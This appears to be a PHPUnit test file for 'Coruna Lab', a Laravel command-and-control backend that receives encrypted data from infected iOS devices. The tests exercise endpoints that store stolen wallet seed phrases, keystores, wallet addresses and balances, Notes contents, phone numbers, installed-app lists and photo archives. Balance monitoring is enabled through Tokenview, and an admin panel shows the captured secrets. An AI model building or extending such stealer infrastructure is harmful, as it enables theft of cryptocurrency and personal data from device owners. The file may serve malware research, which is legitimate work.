get('/api/user/query') ->assertOk() ->assertSee('OK'); } #[Test] public function avatar_put_creates_device_and_repeat_only_touches_updated_at(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => 'dev-active-1', 'm' => 'iPhone9,1', 'pv' => '15.8.4', 'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', ]; $ts1 = '1722585600001'; $enc1 = $crypto->encryptJson($payload, $ts1); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts1, 'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0', ], $enc1['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-active-1')->first(); $this->assertNotNull($device); $this->assertSame('iPhone9,1', $device->device_model); $this->assertSame('15.8.4', $device->ios_version); $this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id); $this->assertStringContainsString('CorunaLab-Active/1.0', (string) $device->user_agent); $firstUpdated = $device->updated_at?->copy(); $this->assertNotNull($firstUpdated); $firstIp = $device->ip; $firstUa = $device->user_agent; sleep(1); $ts2 = '1722585600002'; $enc2 = $crypto->encryptJson([ 'd' => 'dev-active-1', 'm' => 'iPhone14,2', 'pv' => '16.0', 'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', ], $ts2); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts2, 'HTTP_USER_AGENT' => 'CorunaLab-Active/2.0', 'REMOTE_ADDR' => '9.9.9.9', ], $enc2['body'])->assertOk(); $device->refresh(); $this->assertTrue($device->updated_at->greaterThan($firstUpdated)); $this->assertSame('iPhone9,1', $device->device_model); $this->assertSame('15.8.4', $device->ios_version); // First trusted channel sticks; later put must not overwrite. $this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id); $this->assertSame($firstUa, $device->user_agent); $this->assertSame($firstIp, $device->ip); } #[Test] public function non_put_creates_device_without_channel_and_put_fills_channel_once(): void { $crypto = new CorunaCrypto; $tsSet = '1722585600100'; $encSet = $crypto->encryptJson([ 'd' => 'dev-channel-fill', 'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'a' => 'a1', 'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ], $tsSet); $this->call('POST', '/api/user/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsSet, ], $encSet['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-channel-fill')->first(); $this->assertNotNull($device); $this->assertNull($device->channel_id); $this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count()); $tsPut = '1722585600101'; $encPut = $crypto->encryptJson([ 'd' => 'dev-channel-fill', 'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', 'et' => 'heartbeat', ], $tsPut); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsPut, ], $encPut['body'])->assertOk(); $device->refresh(); $this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id); $tsPut2 = '1722585600102'; $encPut2 = $crypto->encryptJson([ 'd' => 'dev-channel-fill', 'c' => 'cccccccccccccccccccccccccccccccc', 'et' => 'heartbeat', ], $tsPut2); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsPut2, ], $encPut2['body'])->assertOk(); $device->refresh(); $this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id); } #[Test] public function avatar_set_does_not_create_device(): void { $crypto = new CorunaCrypto; $payload = [ 'c' => '34f5121f572d6742703eb84ec2f866a6', 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'deviceModel' => 'iPhone9,1', 'systemVersion' => ['ProductVersion' => '15.8.4'], ]; $ts = '1722585600123'; $enc = $crypto->encryptJson($payload, $ts); $resp = $this->call( 'POST', '/api/user/avatar/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, 'HTTP_USER_AGENT' => 'CorunaLab/1.0 (iPhone; iOS 15.8.4)', ], $enc['body'] ); $resp->assertOk(); $plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp')); $this->assertSame(0, $plain['code'] ?? null); $this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first()); } #[Test] public function profile_delete_returns_code_1_and_stores_phone(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '00044C1101FB802E', 'p' => '+66822804380', 'd3' => '00008030-00044C1101FB802E', 'd2' => 'DNPD3100N73F', 'c' => 'e57f5207c9f2bacf7907c09ccf25b107', 'bundleID' => 'com.apple.imagent', ]; $ts = '1722585600333'; $enc = $crypto->encryptJson($payload, $ts); $resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body']); $resp->assertOk(); $plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp')); $this->assertSame(1, $plain['code'] ?? null); $device = Device::query()->where('device_id', '00044C1101FB802E')->first(); $this->assertNotNull($device); $this->assertSame('+66822804380', $device->phone); $this->assertNull($device->channel_id); $ts2 = '1722585600334'; $enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2); $this->call('POST', '/api/user/profile/delete', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts2, ], $enc2['body'])->assertOk(); $device->refresh(); $this->assertSame('+66822804380', $device->phone); } #[Test] public function user_get_ingests_installed_apps_per_bundle(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'c' => 'dddddddddddddddddddddddddddddddd', 'v' => '15.8.4', 'al' => [ ['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'], ['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '15.8'], ], ]; $ts = '1722585600222'; $enc = $crypto->encryptJson($payload, $ts); $this->call('POST', '/api/user/get', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertNull($device->channel_id); $this->assertSame('15.8.4', $device->ios_version); $mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first(); $this->assertNotNull($mm); $this->assertSame('MetaMask', $mm->name); $this->assertSame('7.12.0', $mm->version); $this->assertTrue($mm->is_wallet); $safari = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->first(); $this->assertNotNull($safari); $this->assertFalse($safari->is_wallet); $this->assertSame(2, $device->apps()->count()); $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); $this->assertSame(['MetaMask'], $device->walletNameList()); $this->assertTrue($device->albumStorageEnabled()); } #[Test] public function avatar_put_stores_device_event_log(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'id' => 'event-uuid-should-not-be-device-key', 'et' => 'corepayload_update', 'desc' => 'CorePayload first load succeeded', 'ctx' => ['stage' => 1], 'm' => 'iPhone9,1', ]; $ts = '1722585600333'; $enc = $crypto->encryptJson($payload, $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertNull(Device::query()->where('device_id', 'event-uuid-should-not-be-device-key')->first()); $this->assertSame('iPhone9,1', $device->device_model); $ev = DeviceEvent::query()->where('device_key', '000430C910E8E526')->first(); $this->assertNotNull($ev); $this->assertSame('corepayload_update', $ev->event_name); $this->assertSame('CorePayload first load succeeded', $ev->desc); $this->assertSame(['stage' => 1], $ev->context_json); } #[Test] public function set_and_status_ingest_wallet_secrets_and_addresses(): void { Device::query()->create([ 'device_id' => 'dev-wallet-1', 'album_storage' => true, ]); $crypto = new CorunaCrypto; $mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $tsSet = '1722585600456'; $encSet = $crypto->encryptJson([ 'd' => 'dev-wallet-1', 'a' => 'a1', 'result' => $mnemonic, ], $tsSet); $this->call('POST', '/api/user/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsSet, ], $encSet['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-wallet-1')->first(); $this->assertNotNull($device); $wallet = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($wallet); $this->assertSame($mnemonic, $wallet->mnemonic); $this->assertSame('MetaMask', $wallet->source); $this->assertSame('abandon *** about', WalletMnemonic::maskSecret($wallet->mnemonic)); // repeated /api/user/set with same mnemonic must not create another row $tsSet2 = '1722585600457'; $encSet2 = $crypto->encryptJson([ 'd' => 'dev-wallet-1', 'a' => 'a1', 'result' => $mnemonic, ], $tsSet2); $this->call('POST', '/api/user/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsSet2, ], $encSet2['body'])->assertOk(); $this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count()); // No Tokenview key → enable fails → monitor forced off. config(['coruna.tokenview.api_key' => '']); $tsStatus = '1722585600789'; $encStatus = $crypto->encryptJson([ 'd' => 'dev-wallet-1', 'a' => 'a1', 'data' => [ ['address' => '0xabc1230000000000000000000000000000000001', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'], ], ], $tsStatus); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsStatus, ], $encStatus['body'])->assertOk(); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', '0xabc1230000000000000000000000000000000001') ->first(); $this->assertNotNull($addr); $this->assertSame('ETH', $addr->chain_type); $this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001); $this->assertSame(0, (int) $addr->monitor); $this->assertSame('MetaMask', $addr->source); $logFile = public_path('log/c2/'.date('Ymd').'.log'); $this->assertFileExists($logFile); $this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile)); } #[Test] public function status_skips_unsupported_chain_addresses(): void { $crypto = new CorunaCrypto; $ts = '1722585600770'; $enc = $crypto->encryptJson([ 'd' => 'dev-skip-chain-1', 'a' => 'd', 'data' => [ ['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'], ['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'], ['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'], ['address' => 'So11111111111111111111111111111111111111112', 'chain' => 'solana', 'balance' => '0', 'symbol' => 'SOL'], ['address' => 'EQD__________________________________________0', 'chain' => 'ton', 'balance' => '0', 'symbol' => 'TON'], ], ], $ts); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-skip-chain-1')->first(); $this->assertNotNull($device); $this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count()); $this->assertTrue( WalletAddress::query() ->where('device_id', $device->id) ->where('address', '0xabc1230000000000000000000000000000000002') ->exists() ); } #[Test] public function status_global_wallet_ad_map_refreshes_tron_balances_and_enables_monitor(): void { config(['coruna.tokenview.api_key' => 'test-key']); Http::fake([ '*/v1/accounts/*' => Http::response([ 'data' => [[ 'balance' => 2_500_000, 'trc20' => [ ['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '12500000'], ], ]], 'success' => true, ], 200), 'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200), ]); $crypto = new CorunaCrypto; $ts = '1722585600777'; $enc = $crypto->encryptJson([ 'd' => 'dev-global-ad-1', 'a' => 'p', 'ad' => [ 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704', ], ], $ts); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-global-ad-1')->first(); $this->assertNotNull($device); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6') ->first(); $this->assertNotNull($addr); $this->assertSame('Global Wallet', $addr->source); $this->assertSame('TRON', $addr->chain_type); $this->assertEqualsWithDelta(2.5, (float) $addr->trx, 0.0000001); $this->assertEqualsWithDelta(12.5, (float) $addr->usdt, 0.0000001); $this->assertSame(1, (int) $addr->monitor); Http::assertSent(fn ($request) => str_contains($request->url(), '/monitor/address/add/trx/')); } #[Test] public function status_disables_monitor_when_tokenview_enable_fails(): void { config(['coruna.tokenview.api_key' => 'test-key']); Http::fake([ 'services.tokenview.io/*' => Http::response(['code' => 0, 'msg' => 'fail'], 200), ]); $crypto = new CorunaCrypto; $ts = '1722585600778'; $enc = $crypto->encryptJson([ 'd' => 'dev-monitor-fail-1', 'a' => 'a1', 'data' => [ ['address' => '0xabc1230000000000000000000000000000000009', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'], ], ], $ts); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-monitor-fail-1')->first(); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', '0xabc1230000000000000000000000000000000009') ->first(); $this->assertNotNull($addr); $this->assertSame(0, (int) $addr->monitor); } #[Test] public function status_ingests_har_shaped_ba_address_map(): void { // New Tron rows refresh TRX/USDT from chain before notify — stub node. Http::fake(function ($request) { $url = $request->url(); if (str_contains($url, '/v1/accounts/')) { return Http::response([ 'data' => [[ 'balance' => 4_000_006, 'trc20' => [], ]], 'success' => true, ], 200); } if (str_contains($url, 'tokenview')) { return Http::response(['code' => 1, 'msg' => 'success'], 200); } return Http::response(['ok' => true], 200); }); $crypto = new CorunaCrypto; $ts = '1722585600888'; $enc = $crypto->encryptJson([ 'd' => 'dev-ba-1', 'a' => 'b1', 'ba' => [ 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [ [ 'balance' => '0', 'chainId' => '10', 'chainType' => 'tron', 'decimal' => '6', 'name' => 'Tether USD', 'symbol' => 'USDT', ], [ 'balance' => '4000006', 'chainId' => '10', 'chainType' => 'tron', 'decimal' => '6', 'name' => 'TRON', 'symbol' => 'TRX', ], ], ], ], $ts); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-ba-1')->first(); $this->assertNotNull($device); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6') ->first(); $this->assertNotNull($addr); $this->assertSame('TRON', $addr->chain_type); $this->assertSame('imToken', $addr->source); $this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001); $this->assertEqualsWithDelta(4.000006, (float) $addr->trx, 0.0000001); $this->assertSame('4.000006', WalletAddress::formatAmount('trx', $addr->trx)); $this->assertSame('0', WalletAddress::formatAmount('usdt', $addr->usdt)); } #[Test] public function avatar_status_stores_keystore_blob(): void { $crypto = new CorunaCrypto; $ts = '1722585600999'; $enc = $crypto->encryptJson([ 'd' => 'dev-ks-1', 'a' => 'b', 'result' => [ 'crypto' => [ 'cipher' => 'aes-128-ctr', 'ciphertext' => 'deadbeef', 'kdf' => 'pbkdf2', 'mac' => 'cafebabe', ], 'identity' => ['encKey' => 'aa'], ], ], $ts); $this->call('POST', '/api/user/avatar/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $this->call('POST', '/api/user/avatar/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-ks-1')->first(); $this->assertNotNull($device); $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $this->assertNotNull($ks); $this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null); $this->assertSame('imToken', $ks->source); $this->assertSame(0, (int) $ks->decrypted); } #[Test] public function avatar_pic_ingests_notes(): void { $crypto = new CorunaCrypto; $ts = '1722585601111'; $enc = $crypto->encryptJson([ 'd' => 'dev-notes-1', 'list' => [ "spawn rabbit unusual favorite yard recipe\n(R(R", 'second note line', ], ], $ts); $this->call('POST', '/api/user/avatar/pic', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-notes-1')->first(); $this->assertNotNull($device); $this->assertSame(1, Note::query()->where('device_id', $device->id)->count()); $note = Note::query()->where('device_id', $device->id)->first(); $this->assertNotNull($note); $this->assertIsArray($note->content); $this->assertCount(2, $note->content); $this->assertSame('spawn rabbit unusual favorite yard recipe', $note->content[0]['title'] ?? null); $this->assertStringContainsString('spawn rabbit', $note->content[0]['body'] ?? ''); } #[Test] public function check_extracts_photo_archive_and_stores_file(): void { Storage::fake('local'); $crypto = new CorunaCrypto; $tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; // minimal JPEG SOI/EOI file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $password = $crypto->archivePassword('0'); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); $this->assertFileExists($archivePath); Device::query()->create([ 'device_id' => 'dev-photo-1', 'album_storage' => true, ]); $checkDir = storage_path('app/c2/check/dev-photo-1'); $checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $resp = $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-1', 'f' => 'dev-photo-1', 'batchBase' => '0', 'idx' => '000001000000', 'ftu' => '000001000000', 'x-hit' => '12', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] ); $resp->assertOk(); $device = Device::query()->where('device_id', 'dev-photo-1')->first(); $this->assertNotNull($device); $photo = Photo::query()->where('device_id', $device->id)->first(); $this->assertNotNull($photo); $this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256); $this->assertSame(4, $photo->size); $this->assertSame(12, $photo->x_hit); $this->assertSame(1, $photo->upload_count); $this->assertSame(0, $photo->process_index); $this->assertSame(1, $photo->text_count); $this->assertSame(0, $photo->barcode_count); Storage::disk('local')->assertExists($photo->path); $this->assertStringStartsWith('c2/photos/', $photo->path); $checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; $this->assertSame($checkBefore, $checkAfter); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function check_acks_when_archive_extract_fails(): void { Storage::fake('local'); Device::query()->create([ 'device_id' => 'dev-photo-bad', 'album_storage' => true, ]); $tmp = sys_get_temp_dir().'/coruna_photo_bad_'.uniqid().'.bin'; file_put_contents($tmp, 'not-a-7z'); $upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true); try { $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-bad', 'f' => 'dev-photo-bad', 'batchBase' => '0', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $this->assertSame(0, Photo::query()->count()); } finally { @unlink($tmp); } } #[Test] public function check_queues_extract_when_queue_is_not_sync(): void { Storage::fake('local'); Queue::fake(); config(['queue.default' => 'redis']); Device::query()->create([ 'device_id' => 'dev-photo-q', 'album_storage' => true, ]); $tmp = sys_get_temp_dir().'/coruna_photo_q_'.uniqid().'.bin'; file_put_contents($tmp, "\x37\x7A"); $upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true); try { $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-q', 'f' => 'dev-photo-q', 'batchBase' => '0', 'x-hit' => '12', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $this->assertSame(0, Photo::query()->count()); Queue::assertPushed(ExtractPhotoArchive::class, function (ExtractPhotoArchive $job) { if ($job->deviceId < 1 || $job->flavor !== 'lab' || $job->batchBase !== '0') { return false; } if (! str_starts_with($job->inboxPath, 'c2/inbox/')) { return false; } Storage::disk('local')->assertExists($job->inboxPath); return true; }); } finally { @unlink($tmp); } } #[Test] public function check_normalizes_encoded_device_key_onto_existing_device(): void { Storage::fake('local'); $crypto = new CorunaCrypto; Device::query()->create([ 'device_id' => '000430C910E8E526', 'ios_version' => '15.8.4', 'device_model' => 'iPhone9,1', 'ip' => '1.2.3.4', 'album_storage' => true, ]); $tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $password = $crypto->archivePassword('0'); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $this->call( 'POST', '/api/user/check', [ // Live /check form: hex(ascii(nibbleSwap(byteReverse(json_d)))) 'd' => '36323545384530313943303334303030', 'f' => '36323545384530313943303334303030', 'batchBase' => '0', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $this->assertNull( Device::query()->where('device_id', '36323545384530313943303334303030')->first() ); $this->assertNull( Device::query()->where('device_id', '625E8E019C034000')->first() ); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertTrue( Photo::query()->where('device_id', $device->id)->exists() ); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function check_uses_multipart_ts_as_batch_base_password(): void { Storage::fake('local'); $crypto = new CorunaCrypto; $tmp = sys_get_temp_dir().'/coruna_photo_ts_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $batchTs = '1785596422'; $password = $crypto->archivePassword($batchTs); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); Device::query()->create([ 'device_id' => 'dev-photo-ts', 'album_storage' => true, ]); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); // Live traffic: no batchBase field; password suffix is multipart `ts`. $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-ts', 'f' => 'dev-photo-ts', 'ts' => $batchTs, 'x-hit' => '12', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $device = Device::query()->where('device_id', 'dev-photo-ts')->first(); $this->assertNotNull($device); $this->assertTrue( Photo::query()->where('device_id', $device->id)->exists() ); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function check_skips_photos_until_wallet_app_enables_album(): void { Storage::fake('local'); $crypto = new CorunaCrypto; $tmp = sys_get_temp_dir().'/coruna_photo_auto_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $password = $crypto->archivePassword('0'); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-auto', 'f' => 'dev-photo-auto', 'batchBase' => '0', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $device = Device::query()->where('device_id', 'dev-photo-auto')->first(); $this->assertNotNull($device); $this->assertFalse($device->albumStorageEnabled()); $this->assertSame(0, Photo::query()->where('device_id', $device->id)->count()); $ts = '1722585600999'; $enc = $crypto->encryptJson([ 'd' => 'dev-photo-auto', 'al' => [ ['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'], ], ], $ts); $this->call('POST', '/api/user/get', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device->refresh(); $this->assertTrue($device->albumStorageEnabled()); $upload2 = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-auto', 'f' => 'dev-photo-auto', 'batchBase' => '0', ], [], ['file' => $upload2], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $this->assertTrue(Photo::query()->where('device_id', $device->id)->exists()); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function admin_guest_is_redirected_to_admin_login(): void { $this->get('/admin') ->assertRedirect(route('admin.login')); $this->get('/admin/devices') ->assertRedirect(route('admin.login')); } #[Test] public function admin_login_and_device_list(): void { Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); Device::query()->create([ 'device_id' => 'dev-x', 'ios_version' => '16.0', 'device_model' => 'iPhone14,2', 'user_agent' => 'TestUA/1.0', 'ip' => '1.2.3.4', ]); $this->post('/admin/login', ['username' => 'admin', 'password' => 'admin123']) ->assertOk() ->assertJson(['code' => 0, 'data' => route('admin.home')]); $this->get('/admin') ->assertOk() ->assertSee('Coruna Lab'); $this->get('/admin/devices') ->assertOk() ->assertSee('设备 ID') ->assertSee('安装时间') ->assertSee('更新时间') ->assertSee('LAY-device-list') ->assertDontSee('User-Agent'); $this->getJson('/admin/devices/data') ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-x') ->assertJsonPath('data.0.device_model', 'iPhone14,2'); $this->getJson('/admin/devices/data?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3') ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-x'); $this->getJson('/admin/devices/data?device_key=no-such-device') ->assertOk() ->assertJsonPath('count', 0) ->assertJsonPath('data', []); $device = Device::query()->where('device_id', 'dev-x')->firstOrFail(); $this->get(route('admin.devices.show', [$device, 'tab' => 'apps'])) ->assertOk() ->assertSee('钱包地址') ->assertSee('助记词') ->assertSee('钥匙串') ->assertSee('相册') ->assertSee('已装 APP') ->assertSee('备忘录') ->assertSee('日志') ->assertSee('LAY-device-tab-list', false) ->assertSee("table.render({", false) ->assertSee("(it.title || '无标题')", false) ->assertDontSee(''', false) ->assertDontSee('+ ));', false) ->assertDontSee('Keystore') ->assertDontSee('概览') ->assertDontSee('返回列表'); $this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps'])) ->assertOk() ->assertJsonPath('code', 0); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => '', 'decrypted' => 0, 'raw_json' => ['kind' => 'sandbox'], ]); $this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.0.source', '未知') ->assertJsonPath('data.0.decrypted', 0) ->assertJsonPath('data.0.kind', '沙盒文件') ->assertJsonPath('data.0.item_count', 0); } }